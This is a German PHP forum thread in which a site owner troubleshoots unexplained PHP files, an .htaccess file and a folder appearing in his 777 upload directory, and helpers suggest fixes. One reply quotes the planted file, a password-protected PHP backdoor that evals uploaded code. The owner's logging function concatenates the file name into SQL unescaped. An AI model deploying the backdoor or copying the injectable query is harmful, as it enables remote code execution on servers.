Zugriffsrechte beim Fileupload in PHP

Hast du mal in den Serverlogfiles gecheckt, ob die Files wirklich über den Aufruf dieser Seite kommen?

Da mehrere Robots täglich versuchen mein Gästebuch mit Spamm voll zu schreiben ist es etwas problematisch die Logfiles auszuwerten.
Die Robots haben zwar kein Erfolg, aber die Versuche werden eher mehr, statt weniger.
Wenn du mir sagen kannst nach was ich genau in den Loggs suchen soll, hab ich vieleicht eher Erfolg und finde einen brauchbaren Hinweis.

onkelyves hat gesagt.:
Wenn jemand sich den Login eines Users besorgt hat, was, wenn er dort schonmal ein PHP File hochgeladen hatte welches ausführbar war kein großes problem darstellt, bringt dir die login-Prüfung herzlich wenig.
Kannste mal den Code zeigen, wo du die Logins ablegst? Vielleicht ist da auch 'nen Loch.

Bei meinem Loggin haben ich mich an dieses Tutorial gehalten. Das sollte also sicher sein!
http://www.php-resource.de/tutorials/read/38/1/

Hoffe ich zumindest :rolleyes:

Zusätzlich habe ich die Funktion logUpload($filename) erstellt, welche den Usernamen, den Namen der hochgeladenen Datei und das Datum + Uhrzeit in eine Datenbanktabelle schreibt, wenn ein User eine Datei hochläd.
In dieser Tabelle erscheinen die hochgeladenen Spamm Dateien nicht.
logUpload wird innerhalb der upload() Funktion aufgerufen.
Für mich heißt das, die Files gelangen nicht über mein upload Formular in den Ordner sondern auf einem anderen Weg, oder irre ich mich etwa?

Den code der upload() Funktion findest du übrigens ein paar Posts weiter oben.


Ich vermute es wird nicht viel helfen, aber ich habe die Spamm Files mal in den Anhang gepackt. Sie erscheinen immer in der gleichen "Form". Eine htaccess File, ein Ordner mit dem Namen "gafe" (mit weiterem Inhalt) und ein php File, dessen Name immer unterschiedlich ist.

Ich hoffe das hilft vieleicht weiter, danke ;)

Gruß waldjunge
 

Anhänge

Hi,

ich weiß jetzt nicht wie du Log-Funktion aussieht. Aber versuch mal nur den Namen der Datei und ein Timestamp zu speichern.

Ansonsten ist mir auch nicht ganz ersichtlich wie ein Spammer gleich mehrere Dateien MIT ORDNER uploaden kann.... move_uploaded_files verschiebt nur Dateien und erstellt keine Ordner in denen nachher Dateien drin sind.

Auch wenn der Ordner wo alle Uploads rein kommen auf chmod 777 steht können von außen keine User etwas in den Ordner hochladen, wenn kein Formular zur Verfügung steht
 
Zuletzt bearbeitet:
Mittels eines Formulars welches zum Upload benutzt wird, wird beim versenden die Datei (und nur eine Datei ... kein Ordner) in das Temporäre Verzeichnis des Webservers kopiert. Von dort wird es mittels move_uploaded_files() in das gewünschte Verzeichniss verschoben.

waldjunge: Ich hab mir gerade mal die Spam-Dateien angeschaut. Welche Datei-Typen lässt du denn zu? Und kann man nachher direkt die Dateien im Browser aufrufen? Es scheint so das einer eine PHP-Datei hochlädt und diese dann immer und immer wieder ausführt:

PHP:
<?php 
error_reporting(1);
global $HTTP_SERVER_VARS;


function say($t) 
{ 
	echo "$t\n";
}

function testdata($t) { 
	say(md5("testdata_$t")); 
}

echo "<pre>"; 

testdata('start'); 

if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ 
	if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ 
		eval($code);
	}else{ 
		testdata('f');
	}
}else{ 
	testdata('pass');
}

testdata('end');

echo "</pre>";
 
Hier ist meine logg Funktion:

PHP:
<?php
function logUpload($file){
	$sql = "INSERT INTO tblUpload
		(user, file, date)
	VALUES(
		'".addslashes(htmlspecialchars($_SESSION["username"]))."',
		'".$file."',
		NOW())";
		
		@mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASS) OR die(mysql_error());    
		mysql_select_db(MYSQL_DATABASE) OR die(mysql_error());		
		mysql_query($sql) OR die(mysql_error());    			
}
?>

Die Funktion läuft. Wenn ich mich ganz normal einlogge und eine Datei hochlade, enthält meine Tabelle tblUpload danach einen Datensatz.


Falls diese Info hilft. Die Website liegt nicht auf meinem eigenen Server, auf den nur ich Zugriff habe. Ich bin bei einem webhosting Anbieter und einem Server sind meines Wissens immer fünf User zugewiesen.
Natürlich hat jeder einen eigenen Account, aber können bei 777 nicht alle User auf dem Server auf den entsprechenden Ordner zugreifen?
Ich hab von Berechtigungen und Servern wenig bis keine Ahnung, also schlagt mich bitte nicht wenn ich komplet falsch liege ;)
 
Welche Datei-Typen lässt du denn zu? Und kann man nachher direkt die Dateien im Browser aufrufen?

Wenn du auf einem Webhoster liegst, kanne es natürlich sein das andere Leute die auch auf dem Hoster sind dir Dateien und Ordner in dein Verzeichniss schieben.

Dazu einfach mal dein Hoster anmeckern was für Vollposten er hier hat.
 
waldjunge: Ich hab mir gerade mal die Spam-Dateien angeschaut. Welche Datei-Typen lässt du denn zu? Und kann man nachher direkt die Dateien im Browser aufrufen? Es scheint so das einer eine PHP-Datei hochlädt und diese dann immer und immer wieder ausführt:

Momentan lasse ich alles zu. Aber ich kann auch den Upload von PHP Files verbieten. Sowas läd wohl eh keiner der 10 User meiner Seite hoch.
Nur frag ich mich, was das bringt? Die Abfrage welcher Dateityp hochgeladen wird, muss dann in die upload Funktion.
Diese wird ja aber anscheinend nicht genutzt, um die PHP Files in dem Ordner zu speichern... sonst würde es ja in meiner LoggTabelle der Datenbank stehen :(

Ich raffs echt nicht wie die das machen :mad:
 
Wenn du auf einem Webhoster liegst, kanne es natürlich sein das andere Leute die auch auf dem Hoster sind dir Dateien und Ordner in dein Verzeichniss schieben.

Dazu einfach mal dein Hoster anmeckern was für Vollposten er hier hat.

Ja, die Dateien lassen sich direkt im Browser aufrufen.

Das mit dem Webhoster anschreiben wär auf jeden Fall eine Option. Wenn niemand einen anderen Grund für den Spamm findet, frag ich bei dem auf jeden Fall mal nach, ob das wirklich sein kann.
 
Ich denke Dateitypen zu verbieten bringt nicht viel...

Mein Vorschlag ist:

- Erstelle ein Ordner mit einem wirren Namen, z.B. 893kljklasdf5tokljma, diesem gibst du dann die Rechte 777.

- In diesem Ordner legst du eine htaccess Datei rein die es verbietet jedem den Inhalt des Ordners aufzurufen.

- Wenn du jetzt die Dateien den Usern zugänglich machen willst dann erstellst du dir eine php Datei die mit der Datenbank komuniziert und von dort den Dateinamen bekommst. Das könnte dann so aussehen

http://www.tld.de/download.php?id=12

Die PHP-Datei gibt die hochgeladenen Dateien entweder zum Download bereit oder du lässt es binär geöffnen... also bei eine hochgeladenen PHP-Datei wird dann der Quellcode erscheinen.
 
Zurück